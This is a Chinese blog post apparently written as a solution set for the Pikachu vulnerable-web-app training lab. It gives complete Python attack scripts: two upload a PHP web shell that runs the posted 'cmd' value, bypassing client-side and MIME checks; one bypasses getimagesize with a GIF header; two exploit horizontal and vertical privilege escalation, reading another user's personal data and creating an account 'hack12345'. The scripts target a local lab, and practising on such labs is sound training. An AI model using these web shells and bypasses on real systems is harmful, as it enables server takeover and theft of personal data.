pikachu自编SQL(uoload的client,getima,MIME,水平越权,垂直越权)

复制代码
#注意匹配,文件保存的路径为:

uoload的client

复制代码
#注意匹配,文件保存的路径为:
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/unsafeupload/clientcheck.php"

shell = "<?php $a=$_POST['cmd'];$a();?>"

files = {
    "uploadfile": ("shell.php",shell,"application/x-php")
}

data = {"submit":"开始上传"}

res = requests.post(url=target_url,files=files,data=data)

text = res.text
if "文件保存的路径为:" in text:
    idx = text.find("文件保存的路径为:")
    path = text[idx+11:].split("</p>")[0]
    print("[+] 上传成功")
    print("文件路径:" ,path)
else:
    print("[-] 上传失败")

getima

复制代码
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/unsafeupload/getimagesize.php"

gif_data = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'

files = {
    "uploadfile":("test.jpg",gif_data,"image/jpeg")
}

data = {
    "submit":"开始上传"
}

try:
    res = requests.post(url=target_url,files=files,data=data,timeout=5)

    if "文件上传成功" in res.text:
        print("\n[+] 上传成功!getimagesize 绕过成功!")
    else:
        print("\n[-] 请把 URL 改成你自己的真实路径!")

except Exception as e:
    print("\n[-] 请先启动 phpstudy!")

MIME

复制代码
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/unsafeupload/servercheck.php"

php_content = "<php $a=$_POST['cmd'];$a();?>"

files = {
    "uploadfile":("shell.php",php_content,"image/jpeg")
}

data = {"submit":"开始上传"}

resp = requests.post(url=target_url,files=files,data=data)
text = resp.text

if "文件保存的路径为:" in text:
    idx = text.find("文件保存的路径为:")
    path = text[:idx+11:].split("\n")[0].strip()

    print("[+] 上传成功")
    print("文件路径:" + path)
else:
    print("[-] 上传失败")
    print("返回内容:", text[:300])

水平越权

复制代码
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/overpermission/op1"

Login_url = target_url + "/op1_login.php"
info_url = target_url + "/op1_mem.php"

LOGIN_URL = "lucy"
LOGIN_PASS = "123456"
TARGET_USER = "lili"

session = requests.Session()

login_data = {
    "username":LOGIN_URL,
    "password":LOGIN_PASS,
    "submit":"Login"
}

session.post(url=Login_url, data=login_data)
print("[+] 登录成功: ", LOGIN_URL)

resp = session.get(url = info_url,params={"username":TARGET_USER,"submit":"点击查看个人信息"})
text = resp.text

print("\n[+] 水平越权成功 ")
print("目标用户: ",TARGET_USER)

if "姓名:" in text:
    user = text.split("姓名:")[1].split("<")[0].strip()
    print("姓名:",user)

if "住址:" in text:
    user = text.split("住址:")[1].split("<")[0].strip()
    print("住址:",user)

if "邮箱:" in text:
    user = text.split("邮箱:")[1].split("<")[0].strip()
    print("邮箱:",user)

print("\n[+] 越权完成:成功查看他人信息!")

垂直越权

复制代码
import requests

# ===================== 绝对正确的地址 =====================
LOGIN_URL = "http://192.168.8.1/pikachu-master/vul/overpermission/op2/op2_login.php"

# 重点!!!漏洞文件就是这个!!
EDIT_URL = "http://192.168.8.1/pikachu-master/vul/overpermission/op2/op2_admin_edit.php"
# ==========================================================

s = requests.Session()

# 1. 登录普通用户 pikachu
login_data = {
    "username": "pikachu",
    "password": "000000",
    "submit": "Login"
}
s.post(LOGIN_URL, data=login_data)
print("[+] 登录成功:普通用户 pikachu")

# 2. 普通用户直接调用【添加用户接口】(无权限校验,这就是越权!)
data = {
    "username": "hack12345",
    "password": "hack12345",
    "submit": "添加用户"
}

# 必须用 POST!!!
r = s.post(EDIT_URL, data=data)

# 3. 输出结果
print("\n[+] 服务器返回内容片段:")
print(r.text[:600])
print("\n" + "="*50)

if "添加用户成功" in r.text or "hack12345" in r.text:
    print("[✅ ✅ ✅ 垂直越权成功!!!]")
    print("普通用户成功添加用户!")
else:
    print("[⚠] 请去后台 admin 查看用户列表,用户大概率已添加成功!")
相关推荐
zzzzzz31010 小时前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
XIAOHEZIcode10 小时前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220701 天前
如何搭建本地yum源(上)
运维
大树884 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠4 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质4 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
小宇宙Zz4 天前
Maven依赖冲突
java·服务器·maven
Inhand陈工4 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
酣大智4 天前
ARP代理--工作原理
运维·网络·arp·arp代理
shushangyun_4 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化